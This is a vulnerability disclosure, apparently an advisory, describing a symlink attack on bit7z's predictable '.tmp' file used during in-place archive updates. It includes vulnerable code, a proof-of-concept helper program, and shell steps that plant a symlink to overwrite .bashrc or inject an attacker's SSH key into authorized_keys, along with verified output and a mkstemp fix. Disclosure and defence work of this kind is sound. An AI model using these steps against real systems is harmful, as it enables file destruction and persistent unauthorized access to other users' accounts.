Summary
When BitOutputArchive::compressToFile() updates an existing archive in-place, it writes compressed data to a predictable temp file at <archive_path>.tmp. The file is opened via std::ofstream::open() with std::ios::trunc, which follows symlinks unconditionally. No symlink check or O_NOFOLLOW protection is applied, and the createAlways=true flag skips the file-exists check entirely.
An attacker with write access to the archive directory can pre-place a symlink at <archive>.tmp pointing to an arbitrary target file. When a process subsequently updates the archive, the library follows the symlink and overwrites the target with archive data.
Escalation to persistent unauthorized access: When the archive format is TAR (uncompressed), the attacker's file content appears raw in the byte stream. By embedding an SSH public key as payload in the archive, the attacker can inject a valid SSH key into ~/.ssh/authorized_keys, OpenSSH skips binary TAR header lines and accepts the embedded key, granting persistent unauthorized SSH access.
This is not a race condition, the attacker places the symlink before the operation begins and it persists for the entire duration.
Affected platforms: Linux, macOS, BSD (any platform where symlinks exist and the archive directory is writable by multiple users)
Vulnerable Code
Step 1: Predictable temp path construction
File: src/bitoutputarchive.cpp, lines 176-181
fs::path outPath = outArchive;
if ( updatingArchive ) {
outPath += ".tmp"; // predictable, attacker-controllable path
}
return bit7z::make_com< CFileOutStream, IOutStream >( outPath, updatingArchive );
When updatingArchive is true (i.e., BitArchiveEditor::applyChanges() or any in-place update), the temp path is always <archive_path>.tmp, trivially predictable.
Step 2: File opened without symlink protection
File: src/internal/cfileoutstream.cpp, lines 21-36
CFileOutStream::CFileOutStream( fs::path filePath, bool createAlways )
: CStdOutStream( mFileStream ), mFilePath{ std::move( filePath ) } {
std::error_code error;
if ( !createAlways && fs::exists( mFilePath, error ) ) { // [1]
// ...throw BitException...
}
mFileStream.open( mFilePath, std::ios::binary | std::ios::trunc ); // [2]
[1] — When createAlways=true (which it is during archive updates), the existence check is completely skipped.
[2] — std::ofstream::open() follows symlinks. On POSIX, this translates to open() without O_NOFOLLOW or O_EXCL. If the path is a symlink, the kernel resolves it and opens/truncates the target file.
Step 3: Post-compression rename
File: src/bitoutputarchive.cpp, lines 238-243
fs::path tmpFile = outFile;
tmpFile += ".tmp";
fs::rename( tmpFile, outFile, error );
After compression, the .tmp file (which is actually a symlink pointing to the victim file, now containing archive data) is renamed to the archive path. The victim file retains the corrupted archive content.
Proof of Concept
Scenario
A user (myuser) runs a backup service that uses bit7z to update .7z archives in a shared directory. An unprivileged attacker (testpoc_user) has write access to the same directory and pre-places a symlink to hijack the temp file.
Helper program
#include <bit7z/bitarchiveeditor.hpp>
#include <bit7z/bitarchivewriter.hpp>
#include <bit7z/bitexception.hpp>
#include <iostream>
using namespace bit7z;
int main(int argc, char* argv[]) {
std::string mode = argv[1];
std::string archive = argv[2];
std::string file = argv[3];
Bit7zLibrary lib{"/usr/lib/7zip/7z.so"};
if (mode == "create") {
BitArchiveWriter writer{lib, BitFormat::SevenZip};
writer.addFile(file);
writer.compressTo(archive);
} else if (mode == "update") {
BitArchiveEditor editor{lib, archive, BitFormat::SevenZip};
editor.addFile(file);
editor.applyChanges(); // triggers the vulnerability
}
}
Exploitation steps
# Step 1: myuser creates a shared directory and initial archive
mkdir -p /tmp/shared_backup && chmod 777 /tmp/shared_backup
echo "backup data" > /tmp/data.txt
./helper create /tmp/shared_backup/data.7z /tmp/data.txt
# Step 2: testpoc_user (attacker) plants symlink at predictable .tmp path
sudo -u testpoc_user ln -sf /home/myuser/.bashrc /tmp/shared_backup/data.7z.tmp
# Step 3: myuser's service updates the archive
echo "new entry" > /tmp/extra.txt
./helper update /tmp/shared_backup/data.7z /tmp/extra.txt
# Step 4: Observe the damage
od -A x -t x1z -N 16 /home/myuser/.bashrc
# 000000 37 7a bc af 27 1c 00 04 ... >7z..'...<
Verified Exploitation
Tested on: Debian 13 (kernel 6.12), bit7z v4.0.11, 7-Zip 25.01, GCC 14, x86_64.
Test 1: File Destruction (7z format)
An unprivileged user (testpoc_user, uid=1001) planted a symlink in a shared directory. When myuser (uid=1000) updated a 7z archive using BitArchiveEditor::applyChanges():
[*] Step 1: myuser creates archive
Created /tmp/shared_backup/data.7z
[*] Step 2: testpoc_user (attacker) plants symlink
/tmp/shared_backup/data.7z.tmp -> /home/myuser/.bashrc
[*] Original .bashrc:
# ~/.bashrc: executed by bash(1) for non-login shells.
... (3757 bytes total)
[*] Step 3: myuser updates archive (simulating backup service)
Updated /tmp/shared_backup/data.7z
[*] Step 4: Check .bashrc
Size: 237 bytes (was 3757)
Content: 37 7a bc af 27 1c 00 04 ... (7z archive binary data)
*** /home/myuser/.bashrc OVERWRITTEN WITH 7z ARCHIVE DATA ***
*** Attack by testpoc_user (uid=1001) against myuser (uid=1000) ***
Test 2: SSH Key Injection (TAR format — persistent unauthorized access)
When the application uses TAR format, the attacker can escalate from file destruction to attacker-controlled content injection. TAR stores file content uncompressed, so an SSH public key embedded as a payload file appears raw in the byte stream. OpenSSH's authorized_keys parser skips invalid/binary lines, accepting only valid key lines.
Attack chain:
- Attacker creates a TAR archive containing a file with their SSH public key (newline-prefixed)
- Attacker plants symlink:
backup.tar.tmp → ~/.ssh/authorized_keys
- Victim's service updates the TAR archive via
BitArchiveEditor::applyChanges()
- bit7z follows symlink → writes TAR data (headers + raw key) to
authorized_keys
- OpenSSH parses the file line-by-line, skips binary TAR headers, finds valid key on line 3
[*] Step 1: Attacker creates TAR archive with SSH key payload
Created TAR: /tmp/shared_backup_ssh/backup.tar
[*] Step 2: testpoc_user plants symlink:
backup.tar.tmp -> /home/myuser/.ssh/authorized_keys
[*] Step 3: myuser's service updates the TAR archive
Updated TAR: /tmp/shared_backup_ssh/backup.tar
[*] Step 4: Checking authorized_keys...
Size: 3072 bytes
[*] SSH key parsing of corrupted authorized_keys:
256 SHA256:Lpl8nm/Cg5+HSET6BUgyN2bZIUG4QriVOjnr5QELWek attacker@evil (ED25519)
[*] Attacker's key fingerprint:
256 SHA256:Lpl8nm/Cg5+HSET6BUgyN2bZIUG4QriVOjnr5QELWek attacker@evil (ED25519)
*** FINGERPRINTS MATCH ***
*** ATTACKER'S SSH KEY INJECTED INTO myuser's authorized_keys ***
*** testpoc_user can now SSH as myuser using /tmp/attacker_sshkey ***
The ssh-keygen -l -f verification confirms the corrupted authorized_keys file contains a valid, parseable SSH key matching the attacker's key pair. The attacker can now authenticate as the victim via SSH.
Kernel mitigation note
On Linux with fs.protected_symlinks=1 (default since kernel 3.6), this attack is blocked in sticky-bit directories (/tmp). However, it succeeds in:
- Non-sticky shared directories (e.g., project folders, NFS mounts, shared data directories)
- Directories without the sticky bit (any
chmod 777 without +t)
- Older kernels or systems with
fs.protected_symlinks=0
Impact
Any application using bit7z to update archives in-place (BitArchiveEditor::applyChanges()) in a directory writable by multiple users is vulnerable. An attacker who can create files in the archive directory can overwrite arbitrary files owned by the process running the archive update.
Attack scenarios:
| Target file |
Format |
Impact |
~/.ssh/authorized_keys |
TAR |
Persistent unauthorized SSH access — attacker injects valid SSH key via raw TAR content |
~/.ssh/authorized_keys |
7z/zip |
Destroy SSH access (file corrupted with binary data) |
| Application config files |
Any |
Service disruption (binary data replaces valid config) |
/etc/crontab, /etc/sudoers |
Any |
System disruption (if process runs as root) |
Security config (hosts.deny, ACLs) |
Any |
Security controls disabled (config file destroyed) |
Content control: With compressed formats (7z, zip, gzip), the overwritten content is binary archive data — the impact is file destruction. With uncompressed formats (TAR), the attacker's file content appears raw in the byte stream. This enables injecting controlled text (SSH keys, config directives) into target files whose parsers skip invalid lines — escalating from destruction to persistent unauthorized access.
Constraints:
- Attacker must have write access to the directory containing the archive
- A process must update (not create) an existing archive in that directory
- Linux
fs.protected_symlinks=1 blocks this in sticky-bit directories (but not other shared dirs)
- The symlink target must be writable by the process performing the archive update
Suggested Remediation
Use mkstemp() for unpredictable temp file names
#include <cstdlib>
#include <unistd.h>
// Instead of: outPath += ".tmp";
std::string tmpTemplate = outArchive.string() + ".XXXXXX";
int fd = mkstemp(tmpTemplate.data()); // atomically creates unique file
if (fd < 0) { throw ...; }
// Convert fd to stream or use fdopen()
References
Summary
When
BitOutputArchive::compressToFile()updates an existing archive in-place, it writes compressed data to a predictable temp file at<archive_path>.tmp. The file is opened viastd::ofstream::open()withstd::ios::trunc, which follows symlinks unconditionally. No symlink check orO_NOFOLLOWprotection is applied, and thecreateAlways=trueflag skips the file-exists check entirely.An attacker with write access to the archive directory can pre-place a symlink at
<archive>.tmppointing to an arbitrary target file. When a process subsequently updates the archive, the library follows the symlink and overwrites the target with archive data.Escalation to persistent unauthorized access: When the archive format is TAR (uncompressed), the attacker's file content appears raw in the byte stream. By embedding an SSH public key as payload in the archive, the attacker can inject a valid SSH key into
~/.ssh/authorized_keys, OpenSSH skips binary TAR header lines and accepts the embedded key, granting persistent unauthorized SSH access.This is not a race condition, the attacker places the symlink before the operation begins and it persists for the entire duration.
Affected platforms: Linux, macOS, BSD (any platform where symlinks exist and the archive directory is writable by multiple users)
Vulnerable Code
Step 1: Predictable temp path construction
File:
src/bitoutputarchive.cpp, lines 176-181When
updatingArchiveis true (i.e.,BitArchiveEditor::applyChanges()or any in-place update), the temp path is always<archive_path>.tmp, trivially predictable.Step 2: File opened without symlink protection
File:
src/internal/cfileoutstream.cpp, lines 21-36[1]— WhencreateAlways=true(which it is during archive updates), the existence check is completely skipped.[2]—std::ofstream::open()follows symlinks. On POSIX, this translates toopen()withoutO_NOFOLLOWorO_EXCL. If the path is a symlink, the kernel resolves it and opens/truncates the target file.Step 3: Post-compression rename
File:
src/bitoutputarchive.cpp, lines 238-243After compression, the
.tmpfile (which is actually a symlink pointing to the victim file, now containing archive data) is renamed to the archive path. The victim file retains the corrupted archive content.Proof of Concept
Scenario
A user (
myuser) runs a backup service that uses bit7z to update.7zarchives in a shared directory. An unprivileged attacker (testpoc_user) has write access to the same directory and pre-places a symlink to hijack the temp file.Helper program
Exploitation steps
Verified Exploitation
Tested on: Debian 13 (kernel 6.12), bit7z v4.0.11, 7-Zip 25.01, GCC 14, x86_64.
Test 1: File Destruction (7z format)
An unprivileged user (
testpoc_user, uid=1001) planted a symlink in a shared directory. Whenmyuser(uid=1000) updated a 7z archive usingBitArchiveEditor::applyChanges():Test 2: SSH Key Injection (TAR format — persistent unauthorized access)
When the application uses TAR format, the attacker can escalate from file destruction to attacker-controlled content injection. TAR stores file content uncompressed, so an SSH public key embedded as a payload file appears raw in the byte stream. OpenSSH's
authorized_keysparser skips invalid/binary lines, accepting only valid key lines.Attack chain:
backup.tar.tmp → ~/.ssh/authorized_keysBitArchiveEditor::applyChanges()authorized_keysThe
ssh-keygen -l -fverification confirms the corruptedauthorized_keysfile contains a valid, parseable SSH key matching the attacker's key pair. The attacker can now authenticate as the victim via SSH.Kernel mitigation note
On Linux with
fs.protected_symlinks=1(default since kernel 3.6), this attack is blocked in sticky-bit directories (/tmp). However, it succeeds in:chmod 777without+t)fs.protected_symlinks=0Impact
Any application using bit7z to update archives in-place (
BitArchiveEditor::applyChanges()) in a directory writable by multiple users is vulnerable. An attacker who can create files in the archive directory can overwrite arbitrary files owned by the process running the archive update.Attack scenarios:
~/.ssh/authorized_keys~/.ssh/authorized_keys/etc/crontab,/etc/sudoershosts.deny, ACLs)Content control: With compressed formats (7z, zip, gzip), the overwritten content is binary archive data — the impact is file destruction. With uncompressed formats (TAR), the attacker's file content appears raw in the byte stream. This enables injecting controlled text (SSH keys, config directives) into target files whose parsers skip invalid lines — escalating from destruction to persistent unauthorized access.
Constraints:
fs.protected_symlinks=1blocks this in sticky-bit directories (but not other shared dirs)Suggested Remediation
Use
mkstemp()for unpredictable temp file namesReferences
fs.protected_symlinksdocumentationopen()with O_NOFOLLOW